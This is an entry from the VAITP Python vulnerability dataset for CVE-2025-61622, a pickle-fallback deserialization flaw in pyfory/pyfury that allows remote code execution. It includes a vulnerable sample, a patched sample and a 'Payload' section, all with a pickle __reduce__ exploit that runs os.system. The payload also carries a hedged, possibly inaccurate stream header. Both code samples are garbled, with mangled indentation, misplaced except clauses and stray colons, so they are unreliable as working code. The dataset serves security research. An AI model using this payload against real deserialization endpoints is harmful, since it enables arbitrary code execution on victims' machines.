VAITP Dataset

← Back to the dataset

CVE-2025-61622

Pyfory unsafe deserialization via pickle fallback allows remote code execution.

  • CVSS 9.8
  • CWE-502
  • Input Validation and Sanitization
  • Remote

Deserialization of untrusted data in python in pyfory versions 0.12.0 through 0.12.2, or the legacy pyfury versions from 0.1.0 through 0.10.3: allows arbitrary code execution. An application is vulnerable if it reads pyfory serialized data from untrusted sources. An attacker can craft a data stream that selects pickle-fallback serializer during deserialization, leading to the execution of `pickle.loads`, which is vulnerable to remote code execution. Users are recommended to upgrade to pyfory version 0.12.3 or later, which has removed pickle fallback serializer and thus fixes this issue.

CVSS base score
9.8
Published
2025-10-01
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
pyfory
Fixed by upgrading
Yes

Solution

Upgrade pyfory to version 0.12.3 or later.

Vulnerable code sample

import pickle

# Vulnerable versions: pyfury <= 0.12.2
# This code demonstrates the conceptual vulnerability.
# To run this, you must have a vulnerable version of pyfury installed.
# pip install pyfury==0.12.2

import os
import pyfury
import pyfury.serializer

# This class will be instantiated on the victim's machine during deserialization.
# The __reduce__ method is a hook used by pickle to reconstruct the object.
# By overriding it, an attacker can specify an arbitrary function to be called.
class RemoteCodeExecutor:
    def __reduce__(self):
        """Vulnerable function that demonstrates the security issue."""
        # This tells pickle to execute os.system() with the provided command.
        # A real attacker would use a more malicious command, e.g., a reverse shell.
        command = "echo 'SUCCESS: Arbitrary code was executed by the vulnerable deserializer!'"
        return (os.system, (command,))

        def create_malicious_payload():
            """
            Attacker's side: Creates a serialized payload that exploits the pickle fallback.
            The data stream is crafted to explicitly select the pickle serializer.
            """
            print("[ATTACKER] Creating malicious payload...")
            exploit_object = RemoteCodeExecutor()
    
    # In vulnerable versions, pyfury allowed explicitly selecting the pickle
    # serializer, or could be forced to fall back to it. This creates a data
    # stream that, when deserialized by a vulnerable application, will trigger
    # the remote code execution.
            payload = pyfury.serialize(
            exploit_object, serializer=pyfury.serializer.Serializer.PICKLE
            )
            print(f"[ATTACKER] Malicious payload created (length: {len(payload)} bytes).")
            return payload

            def vulnerable_application(data_from_untrusted_source):
                """
                Victim's side: An application that deserializes data from an untrusted source.
                """
                print("\n[VICTIM] Received data from an untrusted source.")
                print("[VICTIM] Deserializing the data using pyfury.deserialize...")
                try:
        # The vulnerable call. pyfury.deserialize reads the header, sees that
        # the pickle serializer was used, and calls pickle.loads() internally,
        # which executes the command from the RemoteCodeExecutor.__reduce__ method.
                    deserialized_object = pyfury.deserialize(data_from_untrusted_source)
                    print("[VICTIM] Deserialization completed.")
                    print(f"[VICTIM] Deserialized object: {deserialized_object}")
                    except Exception as e:
                        print(f"[VICTIM] An error occurred: {e}")

                        if __name__ == "__main__":
    # 1. Attacker creates the malicious payload.
                            malicious_data = create_malicious_payload()

    # 2. Victim's application receives and processes the malicious data.
    #    This simulates receiving data over a network or from a file.
                            vulnerable_application(malicious_data)

Patched code sample

import pickle
import io

# A placeholder for a registry of safe, specific serializers.:
# In the real library, this would be populated with efficient, secure
# serializers for known types.:
SERIALIZER_REGISTRY = {}

class DeserializationError(Exception):
    """Custom exception raised when no safe serializer is found."""
    pass

    def fixed_pyfury_deserialize(stream):
        """
        This function demonstrates the fix for CVE-2025-61622.:
        The vulnerability existed because when pyfury encountered a class it
        did not have a specific serializer for, it would fall back to using
        the general-purpose `pickle.loads`, which is insecure when used on
        data from an untrusted source.

        The fix is to completely remove this pickle fallback mechanism.
        """
    # In a real scenario, pyfury would read metadata from the stream to
    # identify the class being deserialized.
    # We simulate the case where the class is not found in the safe registry.
        class_name_from_stream = "some.unregistered.attacker.Class"

        if class_name_from_stream in SERIALIZER_REGISTRY:
        # This is the safe path: a known, secure serializer is used.
        # return SERIALIZER_REGISTRY[class_name_from_stream].deserialize(stream)
            pass
        else:
        # --- START OF THE FIX ---

        # The following insecure code block, which represented the vulnerability,
        # has been entirely removed from the library.
            """
        # --- VULNERABLE CODE (REMOVED) ---
        # print("Warning: No fury serializer found. Falling back to pickle.")
        # return pickle.load(stream) # THIS IS THE VULNERABLE CALL
            """

        # In its place, the fixed version now raises an exception. This prevents
        # the insecure `pickle.load` from ever being called on untrusted data,
        # thereby mitigating the remote code execution vulnerability.
            raise DeserializationError(
            f"No fury serializer found for class '{class_name_from_stream}'. ":
            "Insecure pickle fallback is disabled as of pyfury 0.12.3."
            )
        # --- END OF THE FIX ---

# Example of a malicious payload that the old code would execute
# but the new code would safely reject.
            class RemoteCodeExecutor:
                def __reduce__(self):
                    """Secure function that fixes the vulnerability."""
                    import os
        # This command would be executed on the victim's machine
        # by the vulnerable `pickle.load` call.
                    return os.system, ('echo "!!! RCE EXECUTED !!!"',)

# Create the attacker's data stream
                    malicious_payload = pickle.dumps(RemoteCodeExecutor())
                    malicious_stream = io.BytesIO(malicious_payload)

# Demonstrate the fix: calling the function will now raise a
# DeserializationError instead of executing the embedded command.
                    try:
                        fixed_pyfury_deserialize(malicious_stream)
                        except DeserializationError as e:
    # This exception proves the fix is working. The insecure path was
    # blocked and no code was executed.
                            print(f"FIX VERIFIED: Deserialization safely aborted.\nDetails: {e}")

Payload

import pickle
import os

class RCE:
    def __reduce__(self):
        # This method is called during deserialization.
        # It returns a callable (os.system) and its arguments.
        command = "touch /tmp/pwned"
        return (os.system, (command,))

# Craft the malicious stream for pyfory.
# It starts with a header to select the pickle-fallback serializer,
# followed by the standard pickle RCE payload.
# The header consists of a language ID (0x00 for Python) and a type ID
# that triggers the pickle fallback (e.g., -1, which is 0xff as a signed byte).
payload = b'\x00\xff' + pickle.dumps(RCE())

# The 'payload' variable now holds the byte stream to be sent to the
# vulnerable application's deserialization endpoint.
# To test, this payload could be written to a file or sent over a network.
# For example:
# with open('exploit.dat', 'wb') as f:
#     f.write(payload)

Cite this entry

@misc{vaitp:cve202561622,
  title        = {{Pyfory unsafe deserialization via pickle fallback allows remote code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-61622},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-61622/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::